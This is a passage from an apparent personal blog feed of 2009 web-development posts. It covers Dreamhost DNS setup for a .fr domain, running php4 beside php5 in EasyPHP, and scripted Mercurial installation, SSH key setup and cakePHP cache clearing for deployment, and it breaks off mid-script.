&lt;p&gt;Anyway, when that contract will be over, I&#39;ll be back to Caracole and I have so
many ideas of features and whole websites that I want to create...&lt;/p&gt;
&lt;p&gt;I would like to make the admin panel of Caracole the one thing an administrator
would have to check to see if everything is going well on its website. I
allready have an extended &lt;code&gt;PHPInfo()&lt;/code&gt; highlighting possible misconfiguration but
I want to push that further by integrating Google Analytics, checking the Gmail
inbox associated as well as integrating the PHPSec library.&lt;/p&gt;
&lt;p&gt;In the future I also plan on creating a photography website for Street Art and
graffitis, with gelocalisation, metadatas saving of the author and place,
possibility to upload photo directly from a mobile phone, etc&lt;/p&gt;
&lt;p&gt;The old ideas about my own personal website, a quizz website, or one for rating
driver&#39;s ed are still in my mind. Wait and see.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Configuring a .fr with Dreamhost</title>
    <link href="https://blog.pixelastic.com/2009/10/29/configuring-a-fr-with-dreamhost/"/>
    <updated>2009-10-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/10/29/configuring-a-fr-with-dreamhost</id>
    <content type="html">&lt;p&gt;Hosting a website on a .fr is a little harder than a simple .com. The
&lt;a href=&quot;http://www.afnic.fr/&quot;&gt;Afnic&lt;/a&gt; (registry for the .fr domains) makes a check
whenever you change the DNS of your domain to make sure the new DNS can accept
the domain.&lt;/p&gt;
&lt;p&gt;They run a tool named &lt;a href=&quot;http://www.zonecheck.fr/&quot;&gt;ZoneCheck&lt;/a&gt; to do that. This
tool will request the new DNS server to test if they can accept the .fr. The
problem is that they make a request on the port 53, which is not open on
Dreamhost and thus the test fail and the Afnic refuse to let you change your
DNS.&lt;/p&gt;
&lt;p&gt;The alternative is to not change you DNS, and keep the default one of your
registrar, but manually edit the zones and copy the zones defined in your
dreamhost panel (In Domains &amp;gt; Your domain &amp;gt; DNS, at the bottom of the page) into
your zones.&lt;/p&gt;
&lt;p&gt;The most important part is modifying the default &lt;code&gt;A&lt;/code&gt; entry to the IP of your
dreamhost server. You should do the same for the &lt;code&gt;www A&lt;/code&gt; entry to.&lt;/p&gt;
&lt;p&gt;Create a &lt;code&gt;mysql A&lt;/code&gt; entry and a &lt;code&gt;ftp A&lt;/code&gt; entry if you want to use both
&lt;code&gt;ftp.domain.com&lt;/code&gt; and &lt;code&gt;mysql.domain.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I also changed the MX record to the google one, as well as creating a CNAME
webmail.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using both php4 and php5 with Easyphp</title>
    <link href="https://blog.pixelastic.com/2009/10/28/using-both-php4-and-php5-with-easyphp/"/>
    <updated>2009-10-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/10/28/using-both-php4-and-php5-with-easyphp</id>
    <content type="html">&lt;p&gt;I&#39;m mostly developing on my Windows machine, using EasyPHP (combining Apache,
Mysql and PHP). Each version of EasyPHP is bundled with a specific version of
php.&lt;/p&gt;
&lt;p&gt;I&#39;m now almost exclusively developping with the sweetness of php5, but I still
have from time to time to refactor a piece of code on an legacy app running on
php4.&lt;/p&gt;
&lt;p&gt;I have finally found a way to make specific website to work on php4 instead of
php5 using the same install of EasyPHP.&lt;/p&gt;
&lt;p&gt;The key is: running php4 as a cgi script.&lt;/p&gt;
&lt;p&gt;I&#39;ve finally found a way, by installing php4 as a cgi.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the &lt;a href=&quot;http://fr.php.net/releases/&quot;&gt;Windows binary of the version&lt;/a&gt; you
want to emulate.&lt;/li&gt;
&lt;li&gt;Create a subdirectory named php4 in your EasyPHP/apache/cgi-bin/ directory&lt;/li&gt;
&lt;li&gt;Extract the php.exe, php4ts.dll, sapi/php4apache.dll, php.ini-recommended and
the extensions directory in this new directory&lt;/li&gt;
&lt;li&gt;Rename php.ini-recommended to php.ini (this will be the php.ini used with
php4)&lt;/li&gt;
&lt;li&gt;Edit your apache config file and add the line ScriptAlias /php4/
&amp;quot;${path}/apache/cgi-bin/php4/&amp;quot; after the allready defined ScriptAlias
(~line 379)&lt;/li&gt;
&lt;li&gt;Create a new virtualhost for the website you would like to run in php4. Mine
is as follow:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;Virtualhost *:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ServerName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; foobar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ServerAdmin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; me@localhost&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; DocumentRoot&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &quot;${path}/www/foobar.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;Directory &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;${path}/www/foobar.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Options&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; Indexes FollowSymLinks Includes ExecCGI&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; AllowOverride&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; All&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Order&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; allow,deny&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Allow&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; from all&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/Directory&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; AddHandler&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; php4-script .php .html .htm&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Action&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;     php4-script /php4/php.exe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x3C;/Virtualhost&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means that all .php, .html and .htm file of this virtualhost will be parsed
by the php.exe file in our /cgi-bin/php4 directory.&lt;/p&gt;
&lt;p&gt;Don&#39;t forget to edit this php.ini if you want to tweak things, and remember that
extensions for this version are in the copied extensions/ directory.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>cakePHP deployment with Mercurial on Dreamhost</title>
    <link href="https://blog.pixelastic.com/2009/10/01/cakephp-deployment-with-mercurial-on-dreamhost/"/>
    <updated>2009-10-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2009/10/01/cakephp-deployment-with-mercurial-on-dreamhost</id>
    <content type="html">&lt;p&gt;I now use Mercurial on my daily work flow and have set up some methods on my dev
machine to ease the pain of installing mercurial and make it work on any new
webserver.&lt;/p&gt;
&lt;p&gt;Here are some snippets that automate all that stuff. You may have to change one
thing or two to accomodate your own setup.&lt;/p&gt;
&lt;p&gt;First, I create a custom &lt;code&gt;.bashrc&lt;/code&gt; file that I will put on the webserver and
create into the following method:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;hgInstall&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; mkdir&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.packages/src&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.packages/src&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; wget&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; http://www.selenic.com/mercurial/release/mercurial-1.2.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; tar&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; xvzf&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mercurial-1.2.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; mercurial-1.2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; python&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; setup.py&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --home=&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;/.packages/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;[ui]&#92;nusername = Pixelastic &amp;#x3C;tim@mailastic.com&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.hgrc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;[extensions]&#92;nhgext/hbisect=!&#92;nhgext.imerge=! &gt;&gt; ~/.hgrc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; . ~/.hgrc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; cd ~/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; hg version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let me explain. I first create a directory to store the packages I will download
(in this example I will only download one package, but as I don&#39;t like to have
files all around my server, I just keep them in this place). I will then
download Mercurial 1.2 in this new directory, unzip it and install it.&lt;/p&gt;
&lt;p&gt;Next step is configuring the default user and correcting some bugs with
Dreamhost trying to load non-existing extensions (&lt;code&gt;hgext/hbisec&lt;/code&gt;t and
&lt;code&gt;hgext.imerge&lt;/code&gt;). As I&#39;ve made a change to &lt;code&gt;.hgrc&lt;/code&gt;, I reload it and get back to
the default directory while displaying hg version.&lt;/p&gt;
&lt;p&gt;That&#39;s almost done, I also have to edit the .bash_profile and add the following
lines&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; PYTHONPATH&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;packages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lib&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;python&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; PATH&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;packages&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;bin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$PATH&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so this method will download, install on configure Hg on the Dreamhost
server. That&#39;s all very well, but I had to manually setup the .bashrc, let&#39;s see
if we cannot automate that as well.&lt;/p&gt;
&lt;p&gt;Now, I&#39;m editing my .zsh_aliases on my local machine (or your .bash_aliases if
you&#39;re using bash) to add the following method&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;dreamhost&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; scp&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/Documents/Config/Dreamhost/.bashrc&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/Documents/Config/Dreamhost/.bash_profile&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:~/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;. ~/.bashrc&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; scp&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.ssh/id_rsa.pub&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/Documents/Config/Dreamhost/.ssh/xpsfixe.pub&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:~/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;addKeys&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; scp&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/Documents/Config/Dreamhost/cakeClearCache.sh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;:~/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;chmod +x ~/cakeClearCache.sh&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;hgInstall&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; ssh&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so this one is a little more complex. You have to call this method with one
paremeter, being the user@domain credentials to connect to your Dreamhost
server. What it will do is upload (using ssh) files from your local machine to
the server and then apply some commands on the machine using ssh.&lt;/p&gt;
&lt;p&gt;First it will upload both the local version .bashrc and .bash_profile that are
sitting on your dev machine and &amp;quot;reload&amp;quot; the .bashrc, allowing you to use the
previously defined hgInstall directly in the shell&lt;/p&gt;
&lt;p&gt;Then, it will upload your ssh key(s) to the server and add them to the list of
allowed keys (more on that later, just skip the addKeys line for now.)&lt;/p&gt;
&lt;p&gt;The next step is uploading (and giving the correct chmod) a special script that
will clear cakePHP cache (more on that later too)&lt;/p&gt;
&lt;p&gt;And the final step is calling the previously explained hgInstall method. So the
only thing you have to do is put this method in your .zsh_aliases (and the
corresponding keys, .bashrc and scripts in their corresponding places) then run
dreamhost() and Hg will be installed on your server.&lt;/p&gt;
&lt;p&gt;So now let me get back a little on the two details I skipped. The first is the
key stuff. What I&#39;m doing is uploading your ssh key(s) to the server and then
calling addKeys. It will authorize those keys to connect using ssh without
having to type login/pass on each request. Here is the addKeys code (you have to
put it in your .bashrc file and modify the filename to your own)&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;addKeys&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; mkdir&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .ssh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; id_rsa.pub&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .ssh/authorized_keys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; xpsfixe.pub&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .ssh/authorized_keys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; rm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; id_rsa.pub&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; rm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; xpsfixe.pub&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; go-w&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 700&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.ssh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; chmod&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 600&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ~/.ssh/authorized_keys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will basically create the .ssh dir and authorized_keys file with your keys
info. It will then delete the files and set the correct chmod.&lt;/p&gt;
&lt;p&gt;And the second part was about that cache clearing thing. When you update your
app using Hg, you do not want to update the cache files created by Cake as they
contain filepath reference and are likely to be different between your test and
prod environment and would surely broke your whole app. So, you set an ignore
rule in the .hgignore about them like the following:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;syntax:glob&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;app/tmp/cache/cake_*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;app/tmp/cache/views/*.php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;app/tmp/cache/models/cake_*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;app/tmp/cache/persistent/cake_*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It does work fine almost all the time, but it sometimes lead to errors as the
cache is not regenerated between each hg update. Sometimes you have to alter a
model schema or the way a value is stored in cache and if you don&#39;t clear your
cache, it can yield to unexpected results as the data will be wrongly parsed and
used.&lt;/p&gt;
&lt;p&gt;So what i did to avoid that was to create a script that will clear the cache for
you. Here is the code (you have to be inside the project dir for this to work)&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; app/tmp/cache&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; cake_&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; views/&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;php&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; models/cake_&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;rm&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; persistent/cake_&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ../../../&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will remove all the cache files generated by cake that could interfere after
an update. You just have to wrap thoses lines in a method in your .bashrc (mine
is called cakeClearCache) and execute it after each update or when you have
caching issues.&lt;/p&gt;
&lt;p&gt;Well, I think you guessed that I did not stop here. Manually applying the method
after each update can be a little tedious. So I put the previous code in a file
named cakeClearCache.sh (you can spot that I uploaded this file in the
dreamhost() method earlie)r. I also added the following line to my
/project/.hg/hgrc on my server (if you don&#39;t have this file, just create it,
it&#39;s a project-based hg configuration file)&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;[hooks]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; = ~/cakeClearCache.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It means that everytime an hg update is done, the specified script is fired.
That&#39;s really fine for us, it means that cache will be cleared on each update.
Sounds good.&lt;/p&gt;
&lt;p&gt;One last thing to do was creating the hgrc file automatically. That&#39;s why I
created the following method (add it to the .bashrc file in the server). It is
just a wrapper that will create the hgrc file after doing an hg init&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;hgInitStart&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt; hg&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; init&lt;/span&gt;&lt;/span&gt;
